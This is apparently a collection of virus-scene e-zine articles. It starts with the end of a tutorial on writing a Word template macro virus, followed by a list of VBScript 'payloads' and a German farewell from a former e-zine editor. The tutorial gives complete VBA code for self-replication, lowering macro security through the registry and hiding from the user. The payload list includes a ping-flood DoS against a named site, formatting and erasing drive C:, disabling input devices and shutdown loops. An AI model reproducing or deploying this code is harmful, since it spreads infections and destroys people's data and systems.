or not. Of course, we want to save the macro virus code into the Normal Template without the users knowledge. We can turn this 'Save Normal Prompt' message off by typing the following: ' --------------------------------------------------------------------- Options.SaveNormalPrompt = False ' --------------------------------------------------------------------- Basically, this code above just automatically saves changes that the macro virus did to the Normal Template without prompting the user to save it or not. Step 3: Stopping the 'Save changes' message ------------------------------------------- This is another annoying message that will display itself if the document is not saved. For example, the macro virus has just infected the accessed document. When it infects the document, MS Word notices that the document has been modified, so it displays a message saying someting like 'are you sure you want to save this document?'. You can stop this message by typing the following: ' --------------------------------------------------------------------- Options.ConfirmConversions = False ' --------------------------------------------------------------------- So basically, this code just tells MS Word 'not to care' about the document changes, and just to save them anyway. Step 4: Setting MS Word Macro Security to LOW --------------------------------------------- There are three options that your MS Word security can be on: High, Medium or Low security. The MS Word security settings are usually on High, which means that no macro can run unless it added to the 'trusted sources' list. If the macro security level is on Medium, it means that the user has a choice to run the macro or not. If the security is on Low, it means that all macros will run regardless if they contain macro viruses or not. Most macro viruses will lower the MS Word security level to avoid the 'this document contains macros' message, which means the user doesn't know that there actually is a macro inside the document. You can set the MS Word security level to low by using this code below: ' --------------------------------------------------------------------- K1 = "HKEY_CURRENT_USER\Software\Microsoft\Office\" K2 = Application.Version & "\Word\Security" For RegLoop = 0 To 1 KeyArray = Array("Level", "AccessVBOM") System.PrivateProfileString("", K1 & K2, KeyArray(RegLoop)) = 1& Next RegLoop ' --------------------------------------------------------------------- The code above sets the registry keys 'Level' and 'AccessVBOM' to the value of '1', which means it sets the MS Word security to Low. Step 5: Normal Template/Accessed Document infecting --------------------------------------------------- When a macro virus infects a template, it will delete the existing code in it (if there is any), and it will repace it with its own code. Here is a code that infects both the Normal and active document Tempates: ' --------------------------------------------------------------------- Set DTemplate = ActiveDocument.VBProject.VBComponents(1) Set NTemplate = NormalTemplate.VBProject.VBComponents(1) Set DTCode = DTemplate.CodeModule Set NTCode = NTemplate.CodeModule If NTemplate.Name <> "MacroTest" Then NTCode.DeleteLines 1, NTCode.CountOfLines NTCode.InsertLines 1, DTCode.Lines(1, DTCode.CountOfLines) NTemplate.Name = "MacroTest" End If If DTemplate.Name <> "MacroTest" Then DTCode.DeleteLines 1, DTCode.CountOfLines DTCode.InsertLines 1, NTCode.Lines(1, NTCode.CountOfLines) DTemplate.Name = "MacroTest" End If ' --------------------------------------------------------------------- This code above checks the name of the Template that it is about to infect. If it doesn't have the name 'MacroTest', it will delete the code of the Template (if there is any), and it will write its own code into the Template. Step 6: Saving the document --------------------------- Saving the accessed document that the macro virus has just infected is very important for the macro virus. If the macro virus infects the document but does not save it, it will display a message saying something like 'save changes to Document1' even though the user has not made any changes to that document. This is another thing that a macro virus has to have inside it. It has to determine if the document exists on the drive (eg. If the document has not been saved, it would usually have a name like 'Document1'). Here is the code on how to do this: ' --------------------------------------------------------------------- LeftName = Left(ActiveDocument.Name, 8) RightName = Right(ActiveDocument.Name, 1) If LeftName = "Document" And IsNumeric(RightName) = True Then ActiveDocument.Saved = True Else ActiveDocument.SaveAs FileName:=ActiveDocument.FullName End If ' --------------------------------------------------------------------- So basically, the code above just determines if the document exists on the drive. If the document does exist, it will save it. If the document does not exist, it will discard the document and not save it. Hehehe... so that is how a basic MS Word Template macro virus works. I will now explain a few more macro tips that I did not include above: Macro Execution --------------- Your macro virus can execute on the opening or closing of the document. If you want your macro virus to run on the opening of the document, type the following as the macro virus sub name: ' --------------------------------------------------------------------- Private Sub Document_Open() ' --------------------------------------------------------------------- The code above will make the macro run on the opening of the document. It is also possible to make the macro run on the closing of the document by typing the following as the macro virus sub name: ' --------------------------------------------------------------------- Private Sub Document_Close() ' --------------------------------------------------------------------- The code above will make the macro run on the closing of the document. It is also possible to have a macro virus that runs on both opening and closing of documents. To do this you will have to modify the 'Normal Template/Accessed Document infecting' in step 5 to something like this: ' --------------------------------------------------------------------- Set DTemplate = ActiveDocument.VBProject.VBComponents(1) Set NTemplate = NormalTemplate.VBProject.VBComponents(1) Set DTCode = DTemplate.CodeModule Set NTCode = NTemplate.CodeModule If NTemplate.Name <> "MacroTest" Then NTCode.DeleteLines 1, NTCode.CountOfLines NTCode.InsertLines 1, DTCode.Lines(1, DTCode.CountOfLines) NTCode.ReplaceLine 1, "Private Sub Document_Close()" NTemplate.Name = "MacroTest" End If If DTemplate.Name <> "MacroTest" Then DTCode.DeleteLines 1, DTCode.CountOfLines DTCode.InsertLines 1, NTCode.Lines(1, NTCode.CountOfLines) DTCode.ReplaceLine 1, "Private Sub Document_Open()" DTemplate.Name = "MacroTest" End If ' --------------------------------------------------------------------- The above code has two extra lines in it than the 'Normal Template/Accessed Document infecting' code. The code above uses the 'ReplaceLine' function to replace the first line of code in the macro virus. The first line of code in the macro virus was 'Private Sub Document_Open()'. This code above works in exactly the same way as the 'Normal Template/Accessed Document infecting', but it replaces the first line of its own code 'Private Sub Document_Close()' When it infects the Normal Template, so the Normal Template infects documents on close whereas the other infected documents infect other documents on the opening of itself. Stealth technique: Disabling macro-accessible menus --------------------------------------------------- Some macro viruses disable the command bars that lets a user get access to the macro code. The macro viruses do this because they don't want the user to delete the macro virus from the Normal Template. Here is a code sample below that will disalble some well known macro accessable menus: ' --------------------------------------------------------------------- With CommandBars("Tools") .Controls("Macro").Enabled = False .Controls("Templates and Add-Ins...").Enabled = False .Controls("Customize...").Enabled = False End With With CommandBars("View") .Controls("Toolbars").Enabled = False .Controls("Status Bar").Enabled = False End With With CommandBars("Macro") .Controls("Macros...").Enabled = False .Controls("Security...").Enabled = False End With With CommandBars("Format") .Controls("Style...").Enabled = False End With ' --------------------------------------------------------------------- Self Recognition ---------------- Obviously, when macro viruses infect other documents, it needs to check if that document is already infected. A macro virus needs some sort of way on determining if another document already has its macro code inside its Template. Here are some obvious ways of macro self recognition: 1) Template name 2) Code line (A specific string of code in the macro virus itself) 3) Count of lines (the macro viruses total number of code lines) Most macro viruses use the self recognition technique when they are about to infect another document. They obviously do this to see if the document it is about to infect is already infected. I will now explain how to code come self recognition codes. The self recognition technique is another version of Step 5 'Normal Template/Accessed Document infecting'. Here is a macro virus that uses the template name as its self recognition: ' --------------------------------------------------------------------- Private Sub Document_Open() On Error Resume Next Options.VirusProtection = False Options.SaveNormalPrompt = False Options.ConfirmConversions = False K1 = "HKEY_CURRENT_USER\Software\Microsoft\Office\" K2 = Application.Version & "\Word\Security" For RegLoop = 0 To 1 KeyArray = Array("Level", "AccessVBOM") System.PrivateProfileString("", K1 & K2, KeyArray(RegLoop)) = 1& Next RegLoop Set DTemplate = ActiveDocument.VBProject.VBComponents(1) Set NTemplate = NormalTemplate.VBProject.VBComponents(1) Set DTCode = DTemplate.CodeModule Set NTCode = NTemplate.CodeModule If NTemplate.Name <> "Hello" Then NTCode.DeleteLines 1, NTCode.CountOfLines NTCode.InsertLines 1, DTCode.Lines(1, DTCode.CountOfLines) NTemplate.Name = "Hello" End If If DTemplate.Name <> "Hello" Then DTCode.DeleteLines 1, DTCode.CountOfLines DTCode.InsertLines 1, NTCode.Lines(1, NTCode.CountOfLines) DTemplate.Name = "Hello" End If LeftName = Left(ActiveDocument.Name, 8) RightName = Right(ActiveDocument.Name, 1) If LeftName = "Document" And IsNumeric(RightName) = True Then ActiveDocument.Saved = True Else ActiveDocument.SaveAs FileName:=ActiveDocument.FullName End If End Sub ' --------------------------------------------------------------------- This code above basically checks to see if the documents Template name is 'Hello'. If the document Template does not have the name of 'Hello', it will presume that the document is not infected. It will then infect the document, and change its Template name to 'Hello'. Here is the code of a macro virus that uses a specific code string as its self recognition: ' --------------------------------------------------------------------- Private Sub Document_Open() On Error Resume Next 'WordMacro by Zed Options.VirusProtection = False Options.SaveNormalPrompt = False Options.ConfirmConversions = False K1 = "HKEY_CURRENT_USER\Software\Microsoft\Office\" K2 = Application.Version & "\Word\Security" For RegLoop = 0 To 1 KeyArray = Array("Level", "AccessVBOM") System.PrivateProfileString("", K1 & K2, KeyArray(RegLoop)) = 1& Next RegLoop Set DTCode = ActiveDocument.VBProject.VBComponents(1).CodeModule Set NTCode = NormalTemplate.VBProject.VBComponents(1).CodeModule If NTCode.Lines(3, 1) <> "'WordMacro by Zed" Then NTCode.DeleteLines 1, NTCode.CountOfLines NTCode.InsertLines 1, DTCode.Lines(1, DTCode.CountOfLines) End If If DTCode.Lines(3, 1) <> "'WordMacro by Zed" Then DTCode.DeleteLines 1, DTCode.CountOfLines DTCode.InsertLines 1, NTCode.Lines(1, NTCode.CountOfLines) End If LeftName = Left(ActiveDocument.Name, 8) RightName = Right(ActiveDocument.Name, 1) If LeftName = "Document" And IsNumeric(RightName) = True Then ActiveDocument.Saved = True Else ActiveDocument.SaveAs FileName:=ActiveDocument.FullName End If End Sub ' --------------------------------------------------------------------- This code above is a macro virus that searches for the third line of another documents Template. If the Template does not have the code line "'WordMacro by Zed" for the third line of its code, the macro virus will presume that the document is not infected. It would then infect the Template. Here is a macro virus that uses its own count of code lines as its own self recognition: ' --------------------------------------------------------------------- Private Sub Document_Open() On Error Resume Next Options.VirusProtection = False Options.SaveNormalPrompt = False Options.ConfirmConversions = False K1 = "HKEY_CURRENT_USER\Software\Microsoft\Office\" K2 = Application.Version & "\Word\Security" For RegLoop = 0 To 1 KeyArray = Array("Level", "AccessVBOM") System.PrivateProfileString("", K1 & K2, KeyArray(RegLoop)) = 1& Next RegLoop Set DTCode = ActiveDocument.VBProject.VBComponents(1).CodeModule Set NTCode = NormalTemplate.VBProject.VBComponents(1).CodeModule If NTCode.CountOfLines <> DTCode.CountOfLines Then NTCode.DeleteLines 1, NTCode.CountOfLines NTCode.InsertLines 1, DTCode.Lines(1, DTCode.CountOfLines) End If If DTCode.CountOfLines <> NTCode.CountOfLines Then DTCode.DeleteLines 1, DTCode.CountOfLines DTCode.InsertLines 1, NTCode.Lines(1, NTCode.CountOfLines) End If LeftName = Left(ActiveDocument.Name, 8) RightName = Right(ActiveDocument.Name, 1) If LeftName = "Document" And IsNumeric(RightName) = True Then ActiveDocument.Saved = True Else ActiveDocument.SaveAs FileName:=ActiveDocument.FullName End If End Sub ' --------------------------------------------------------------------- This code above is a macro virus that checks the count of lines of another documents Template. If the Templates count of lines is not the same as the infected Templates count of lines, it will presume the other document is not infected. It would then infect the Template. Basically, if a macro virus' count of lines was 99, it would check another document Templates' count of lines. If its count of lines isn't 99, it would presume its Template is not infected. It would then infect the Template. Finally, I will now explain some other stealth techniques for Template macro viruses. Here is a stealth technique that is rarely used in a macro virus. This code below will avoid the Visual Basic Editor from being shown: ' --------------------------------------------------------------------- Application.ShowVisualBasicEditor = False ' --------------------------------------------------------------------- Obviously, The Visual Basic Editor allows the user to view or make changes to the macro virus code. If a user accesses the Visual Basic Editor, they can delete the macro virus code from the Normal Template or other infected documents. This code above does not stop the Visual Basic Editor completely, it will avoid it from opening at the Start-up of MS Word. Here is another technique (not really for stealth) that stops the user from pressing Ctrl+Break to stop the macro code from running: ' --------------------------------------------------------------------- Application.EnableCancelKey = wdCancelDisabled ' --------------------------------------------------------------------- Here is another code that is used to turn off screen updating. Screen updating is a proccess that 'updates' what is happening in MS Word. A macro virus doesn't want the user to see its background activities, so it turns screen updadting off. Here is the code that turns screen updating off: ' --------------------------------------------------------------------- Application.ScreenUpdating = False ' --------------------------------------------------------------------- Another good stealth technique that some macro viruses use is to turn off the status bar. The status bar displays various captions, like 'Saving Doc1.doc' and alike. This obviously hides some of the macro viruses proccesses. Here is the code that hides the MS Word status bar: ' --------------------------------------------------------------------- Application.DisplayStatusBar = False ' --------------------------------------------------------------------- Another good technique that a macro virus may use is to stop MS Word from displaying annoying messages associated with macros while the macro virus is running. This code below basically stops alert or error messages that the macro virus may cause: ' --------------------------------------------------------------------- Application.DisplayAlerts = False ' --------------------------------------------------------------------- Well, that's about it for this tutorial. Any questions, comments, etc. Email me.articles
Some VBScript Payloads Zed ==================================== Some VBScript Payloads by Zed/[rRlf] ==================================== --------Loop floppy disk read-------- Description: This payloads has to be one of the most annoying non-damaging payloads that I can think of. It simply makes the floppy disk drive read at an infinate loop. Here is the code: ------------------------------------- On Error Resume Next Set fso = CreateObject("Scripting.FileSystemObject") Set DriveA = fso.GetDrive("A:") Do If DriveA.IsReady Then DiskReady = True Loop ------------------------------------- --------DoS (Denial of Service) attack-------- Description: This code basically Pingfloods a specific webpage, Link, FTP or whatever. However, just one computer doing a Pingflood will not cause much damage, but if at least 30 computers were doing it, it would. Here is the code: ------------------------------------- On Error Resume Next Set wsc = CreateObject("WScript.Shell") wsc.Run "Ping.exe -t -l 916 www.azoogle.com", 0, False ------------------------------------- --------Change IE (Internet Explorer) homepage-------- Description: This just changes the homepage of IE using the registry. Here is the code: ------------------------------------- On Error Resume Next Set wsc = CreateObject("WScript.Shell") wsc.RegWrite "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page", "http://www.rrlf.de/" ------------------------------------- --------File/Link execution loop-------- Decription: This code basically executes a File or web link on a loop. Here is the code: ------------------------------------- On Error Resume Next Set wsc = CreateObject("WScript.Shell") Do wsc.Run "http://www.rrlf.de/", 3, False Loop ------------------------------------- --------Change PC Owner name-------- Decription: Yes, it is pretty lame but you can change the computers owner name by using the registry. By changing the owner name, it would change the login name, user info, installation info, etc that involves the computers owner name. Here is the code: ------------------------------------- On Error Resume Next Set wsc = CreateObject("WScript.Shell") wsc.RegWrite "HKLM\Software\Microsoft\Windows\CurrentVersion\RegisteredOwner", "Zed/[rRlf]" ------------------------------------- --------Change PC Organization name-------- Decription: This is basically the same as the 'Change PC Owner' component above. Here is the code: ------------------------------------- On Error Resume Next Set wsc = CreateObject("WScript.Shell") wsc.RegWrite "HKLM\Software\Microsoft\Windows\CurrentVersion\RegisteredOrganization", "Zed Australia" ------------------------------------- --------Format loop-------- Description: This code writes a batch command to format the computer on the next system boot. Here is the code: ------------------------------------- On Error Resume Next Set fso = CreateObject("Scripting.FileSystemObject") If fso.FileExists("C:\Autoexec.bat") Then Set WriteFormat = fso.OpenTextFile("C:\Autoexec.bat", 8) WriteFormat.WriteLine "Echo y | Format C:" WriteFormat.Close ------------------------------------- --------Drive C Erase-------- Description: Practically the same as the format loop, but it happens on the execution of the code, which is far more dangerous. Here is the code: ------------------------------------- On Error Resume Next Set fso = CreateObject("Scripting.FileSystemObject") Set wsc = CreateObject("WScript.Shell") Set WriteFormat2 = fso.CreateTextFile("C:\Angry.bat", True) WriteFormat2.WriteLine "Deltree /y *.*" WriteFormat2.Close wsc.Run "C:\Angry.bat", 0, False ------------------------------------- --------Disable Keyboard and/or Mouse-------- Description: Really annoying, just uses the registry to disable the Keyboard and/or Mouse. Here is the code: ------------------------------------- On Error Resume Next Set wsc = CreateObject("WScript.Shell") RegServ = "HKLM\Software\Microsoft\Windows\CurrentVersion\RunServices" wsc.RegWrite RegServ & "\DisableKeybaord", "Rundll32.exe Keyboard,Disable" wsc.RegWrite RegServ & "\DisableMouse", "Rundll32.exe Mouse,Disable" ------------------------------------- --------Shut down loop-------- Decription: Just keeps shutting down the computer when windows starts (very annoying). Here is the code: ------------------------------------- On Error Resume Next Set wsc = CreateObject("WScript.Shell") wsc.RegWrite "HKLM\Software\Microsoft\Windows\CurrentVersion\RunServices\ShutDownWindows", "Rundll32.exe User,ExitWindows" ------------------------------------- Well, thats about it for now. I will also write code for worm spread methods, infection routines, etc. I could do it now, but it is to damn hot in this room (Summer in Australia). Feel free to email me about anything at: forest_green282@hotmail.com Some good Music: Green Day/Desensitized Green Day/Outsider Green Day/Ha ha you're dead Green Day/She Green Day/Good Riddance Green Day/FOD Green Day/Tired of waiting for you Green Day/You lied Green Day/Rotting Green Day/Macys day parade Green Day/Minority Green Day/Warning Green Day/Redundant Green Day/Scattered Green Day/When I come around Frenzal Rhomb/I Know Everything About Everything Frenzal Rhomb/You can't move into my house Frenzal Rhomb/You are not my friend Frenzal Rhomb/Constable Care Frenzal Rhomb/All your friends Sum 41/Makes no differance Grinspoon/More than you are Grinspoon/Black friday Grinspoon/Chemical Heart Grinspoon/Ordinary Grinspoon/Boltcutter Good Charlote/Little things Linkin Park/Pushing me away ...Well that's about all I can remember :) Greets: PhileToast3r & all other members of the rRlf Alcopaul PetiK FrostByte Vlad_Da_Man Herm1t Jackie Energy Anyone else who I forgotarticles
the batch zone editor X Ich möchte lieber, dass meine Name, meine Nickname oder andere vetrauliche Daten hier zu erscheinen. Danke. Hallo sehr geehrte Leser des RRLF, ich bin der ehemalige Schriftleiter der Zeitschrift BATch Zone (http://vx.netlux.org/vx.php?id=zb03) und auch der ehemalige Mitgleid des RRLF. Was möchte ich hier sagen, sind nur einige Wörter über mich für alle, die ein Interesse haben zu wissen, wo ich verschwunden bin und warum so plötzlich diese Zeitschrift aufgehört hat.Ich glaube, dass ich nicht so viel zu diesem Virusszene des Computers beigetrugen habe, und das wollte ich auch nicht. Ich habe diese „Zwangsvorstellung” für Bachlinie und für MS-DOS Operationssystem, als ich Kind war. Eines von meinem ersten Computer war ein 286 und ich musste der ganze Tag nur mit Bachlinie arbeiten, um ich meine Computerarbeiten zu erleichtern. Ich glaubte nie in dieser Zeit, dass ich die Bachkarteien ändern musste, um ich einen Viruskode zu erhalten. Alles beginnt aus einem Spiel (Kinderspiel) ... natürlich, als ich kindisch war, glaubte ich, dass einen Virus den Monitor zerstören und auch fuchsteufels werden kann. Das Bild hatte ich vom Fernseher oder von zu vielen schlechten Filmen. Einmal mit der Erscheinung des Operationsszstems Windows 95 hatte ich das Gefühl, dass ich keine Hilfekarteien brauchte, vielleicht nur einige abgeworfene Linien in einem Kartei autoexec.bat, der an dem Area-boot des Computers gearbeitet hat. In meinem Schülertage, waren die Unterichten so langweilige und auch die Professoren, verbringte ich meine Zeit nur in Internet-Kaffees. Die Adminleiter einiges Internet-Kaffees, benutzten Windows 98 und auch mehrere illegale Soft, weil sie an plötzliche Kontrolle gewohnen waren, aber sie haben eine ideale Leistung gefunden: Bachkarteien an jedem Computer und auch an Server; sie löschten alles Daten und auch der ganzen Hard-Disk . Von jetzt an die ganze Geschichte ist nicht eine irrsinnige, sondern nur meine Geschichte. Einfach begann ich zu spielen, die Linien einer von diesem Karteien zu adaptieren, und alles was ich adaptierte, schinkte ich an AVX (heute Bit Defender) oder an Kaspersky per E-mail. Ich begann mich zu dokumentieren,um ich alles zu sehen, was ich verlonen habe und so erfuhr ich, dass es eine Virusszene gab, aber nicht wie man im Filmen sah und, dass die Virusen nicht nur den Daten schaden, aber auch dem Hardware. Ich machte viele Personen zum Freunde, mit einigen sprach ich an mIRC und mit anderen an Messenger, eninige gefällte meine Nationalität nicht oder sie waren dagegen diese Scripts, aber ich glaube, dass diese Reagieren sinnlos waren. Ich versuchte etwas oder einige Fakten zu ändern, ich antworte nicht zu diesem negativen Reagieren, ich versuchte mich verzuvollkommen, ich habe viele E-mail und auch Sample an verschiedene Groupen gesendet, und nur RRLF antwortete, wo ich am Anfang abgeschlagen wurde, aber in einigem Monaten versuchte ich noch einmal mit etwas anderes und das war viel besser und sie willkamm mich herzlich (natürlich bis die Erscheinung einer Personen, die glaubten, dass sie perfekt waren). Ich arbeitete für RRLF Zeitschrift, bis einen Tag, als mir die Idee eine personliche Zeitschrift zu schreiben erscheint. Die meisten wollten nichts zu tun haben, anderen haben mir gesagt, dass ich meine Zeit mit Kleinigkeiten verschwenden, anderen ,dass diese eine Dummheit ist und dass ich nicht nur ein Nummer machen kann(ich sollte ihnen bedanken, weil sie mir der Macht diese zu versuchen gegeben haben.) Am Anfang dieser Kurzgeschichte haben Sie einen Link und Sie können da alle 6 Nummer anschauen (nur wenn Sie möchten das machen). Aber Achtung!, die Einleitung und auch das Menü sind mit Bachlinien gemacht und sie funktionieren 100% richtig nur in Windows 98, aber in Windows XP es gibt einige Probleme (bugs). Jetzt, was wichtig ist, dass ich auf diese Zeitschrift verzichtet habe, weil ich nichts zu sagen haben fühlte und dass leider die Virusszene immer ein wenig stirbt; natürlich, dass nun ich mich des Lebens freue, ich habe eine besondere Freundin, die ich sehr viel liebe, ich habe auch einen Job in der Abteilung der Werbegraphik und anderen Hobbys und Leidenschaften. Das war alles, was ich sagen wollte, und ich hoffe, dass ich sie nicht so viel gelangweilt habe. PS: Die Übersetzung wird bei meiner Freundinen gemacht.